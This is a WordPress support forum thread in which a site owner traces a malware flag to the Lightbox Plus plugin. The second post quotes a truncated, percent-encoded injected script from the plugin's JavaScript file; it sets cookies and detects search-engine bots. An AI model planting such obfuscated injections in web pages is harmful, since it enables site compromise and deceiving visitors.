Title: [Plugin: Lightbox Plus] Lightbox causing malware alert
Last modified: August 19, 2016

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# [Plugin: Lightbox Plus] Lightbox causing malware alert

 *  [sonburn](https://wordpress.org/support/users/sonburn/)
 * (@sonburn)
 * [15 years, 9 months ago](https://wordpress.org/support/topic/plugin-lightbox-plus-lightbox-causing-malware-alert/)
 * Can someone help me understand why having the Lightbox plugin enabled is causing
   my site to get flagged for Malware?! When I disable the plugin, I am able to 
   get the site unflagged, so I am sure it’s related.

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 *  Thread Starter [sonburn](https://wordpress.org/support/users/sonburn/)
 * (@sonburn)
 * [15 years, 9 months ago](https://wordpress.org/support/topic/plugin-lightbox-plus-lightbox-causing-malware-alert/#post-1634342)
 * According to the Google Webmaster Tools…
 * Problematic URL:
    /wp-content/plugins/lightbox-plus/js/jquery.colorbox-min.js?
   ver=1.3.8
 * Suspected injected code:
    document.write(unescape(‘%3C%73%63%72%69%70%74%3E%76%
   61%72%2 0%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6 F%63%75%
   6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%67%6F%74%3D%2 2%2B%65%73%63%61%70%65%28%
   22%67%6F%74%22%29%2B%22%3B%70%61%7 4%68%3D%2F%22%3B%76%61%72%20%62%3D%77%69%6E%
   64%6F%77%2E%6E%6 1%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%63%3
   D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6 F%74%7C%79%61%6E%
   64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%6 2%69%6E%67%7C%61%73%6B%29%2F%69%2C%
   64%3D%6E%61%76%69%67%61%7 4%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%65%3D%22%
   20%22%2 B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%66%3D%6E%7 5%6C%6C%
   2C%67%3D%30%2C%68%3D%30%3B%69%66%28%65%2E%6C%65%6E%6 7%74%68%3E%30%29%7B%67%3D%
   65%2E%69%6E%64%65%78%4F%66%28%22%2 0%67%6F%74%3D%22%29%3B%69%66%28%67%21%3D%2D%
   31%29%7B%67%2B%3 D%35%3B%68%3D%65%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%67%2
   9%3B%69%66%28%68%3D%3D%2D%31%29%68%3D%65%2E%6C%65%6E%67%74%6 8%3B%66%3D%75%6E%
   65%73%63%61%70%65%28%65%2E%73%75%62%73%74%7 2%69
 *  Thread Starter [sonburn](https://wordpress.org/support/users/sonburn/)
 * (@sonburn)
 * [15 years, 9 months ago](https://wordpress.org/support/topic/plugin-lightbox-plus-lightbox-causing-malware-alert/#post-1634367)
 * Sorry to keep following up on my own post. I guess while it’s related to the 
   plugin, it’s not the fault of the plugin. It appears some malicious code has 
   been injected into the plugin. I have uninstalled it completely, reinstalled,
   and now I begin the quest of finding out how this happened. Sorry.

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 * Last reply from: [sonburn](https://wordpress.org/support/users/sonburn/)
 * Last activity: [15 years, 9 months ago](https://wordpress.org/support/topic/plugin-lightbox-plus-lightbox-causing-malware-alert/#post-1634367)
 * Status: not resolved